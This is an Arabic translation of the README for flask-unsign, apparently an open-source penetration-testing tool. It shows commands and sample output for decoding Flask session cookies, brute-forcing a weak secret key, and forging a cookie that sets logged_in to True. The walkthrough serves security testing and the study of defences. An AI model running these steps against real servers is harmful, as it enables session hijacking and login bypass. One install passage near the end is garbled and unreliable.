
أداة سطر أوامر لجلب وفك ترميز واختراق بالقوة العمياء وصياغة ملفات تعريف ارتباط الجلسة لتطبيق Flask عن طريق تخمين المفاتيح السرية.
أداة سطر أوامر لجلب ملفات تعريف ارتباط الجلسة (session cookies) لتطبيق Flask وفك ترميزها وتخمين مفاتيحها السرية وصياغتها عبر تخمين المفاتيح السرية. لمكوّن قائمة الكلمات المستقل، يرجى زيارة مستودع flask-unsign-wordlist.
لتثبيت التطبيق، ما عليك سوى استخدام pip:
$ pip3 install flask-unsign[wordlist]
إذا كنت تريد تثبيت الكود الأساسي فقط، فاحذف اللاحقة [wordlist]:
$ pip3 install flask-unsign
لتثبيت الأداة لأغراض التطوير، نفّذ الأمر التالي (بعد تنزيل نسخة):
$ pip3 install -e .[test]
للحصول على نظرة عامة على جميع الخيارات الممكنة، ما عليك سوى استدعاء flask-unsign بدون أي وسائط كما يلي:
$ flask-unsign
نظرًا لأن ملفات تعريف ارتباط Flask موقّعة وغير مشفرة، فمن الممكن
فك ترميز بيانات الجلسة محليًا. لهذا، يمكنك استخدام الوسيط --decode.
يمكن الحصول على ملفات تعريف ارتباط الجلسة من خلال فحص طلبات HTTP الخاصة بك باستخدام وكيل
مثل Burp Proxy، أو استخدام مُفتِّح الشبكة في متصفحك، أو استخدام إضافة متصفح
لعرض/تغيير ملفات تعريف الارتباط الخاصة بك. افتراضيًا، يستخدم Flask اسم الجلسة
"session".
$ flask-unsign --decode --cookie 'eyJsb2dnZWRfaW4iOmZhbHNlfQ.XDuWxQ.E2Pyb6x3w-NODuflHoGnZOEpbH8'
{'logged_in': False}
يمكنك أيضًا استخدام وظيفة الالتقاط التلقائي للجلسة في Flask-Unsign بتمرير
الوسيط --server بدلاً من الوسيط --cookie. مع ذلك، لاحظ
أنه قد لا تعرض جميع صفحات الويب جلسة، لذا تأكد من تمرير رابط يعرضها.
$ flask-unsign --decode --server 'https://www.example.com/login'
[*] Server returned HTTP 302 (FOUND)
[+] Successfully obtained session cookie: eyJsb2dnZWRfaW4iOmZhbHNlfQ.XDuWxQ.E2Pyb6x3w-NODuflHoGnZOEpbH8
{'logged_in': False}
بعد الحصول على عينة من ملف تعريف ارتباط الجلسة، ستتمكن من محاولة تخمين
المفتاح السري للخادم بهجوم القوة العمياء. إذا كنت محظوظًا، فقد يكون معينًا على قيمة
يسهل تخمينها، أو إذا كان قد وُجد على الإنترنت، فقد يكون في إحدى قوائم الكلمات لديك.
لهذا، يمكنك استخدام الوسيط --unsign.
$ flask-unsign --unsign --cookie < cookie.txt
[*] Session decodes to: {'logged_in': False}
[*] No wordlist selected, falling back to default wordlist..
[*] Starting brute-forcer with 8 threads..
[+] Found secret key after 351 attempts
'CHANGEME'
بمجرد حصولك على المفتاح السري للخادم، ستتمكن من صياغة بيانات الجلسة المخصصة
الخاصة بك. لهذا، يمكنك استخدام الوسيط --sign.
$ flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME'
eyJsb2dnZWRfaW4iOnRydWV9.XDuW-g.cPCkFmmeB7qNIcN-ReiN72r0hvU
pip الثنائي الخاطئ، جرّب استخدام
الأمر التالي: python3.6 -m pip install flask-unsign--legacy.--no-literal-eval.إذا كنت تتساءل عن كيفية عمل ذلك بالضبط، فراجع مقالتي على المدونة التي تشرح ذلك بتفصيل كبير، بما في ذلك دليل حول كيفية حماية خادمك من هذا الهجوم.
MIT License
Copyright (c) 2021 Luke Paris (Paradoxis)
يُمنح الإذن، مجانًا، لأي شخص يحصل على نسخة من هذا البرنامج والملفات المرتبطة به (البرنامج)، للتعامل في البرنامج دون قيود، بما في ذلك دون حصر حقوق الاستخدام والنسخ والتعديل والدمج والنشر والتوزيع والترخيص من الباطن و/أو بيع نسخ من البرنامج، والسماح للأشخاص الذين يتم تزويدهم بالبرنامج بالقيام بذلك، وفقًا للشروط التالية:
يجب تضمين إشعار حقوق النشر أعلاه وإشعار الإذن هذا في جميع النسخ أو الأجزاء الجوهرية من البرنامج.
البرنامج مُقدَّم "كما هو"، دون أي ضمان من أي نوع، صريح أو ضمني، بما في ذلك على سبيل المثال لا الحصر ضمانات القابلية للتسويق والملاءمة لغرض معين وعدم الانتهاك. في أي حال من الأحوال، لا يكون المؤلفون أو أصحاب حقوق النشر مسؤولين عن أي مطالبة أو أضرار أو مسؤولية أخرى، سواء كانت ناشئة عن عقد أو ضرر أو غير ذلك، تنشأ عن أو فيما يتعلق بالبرنامج أو الاستخدام أو التعاملات الأخرى في البرنامج.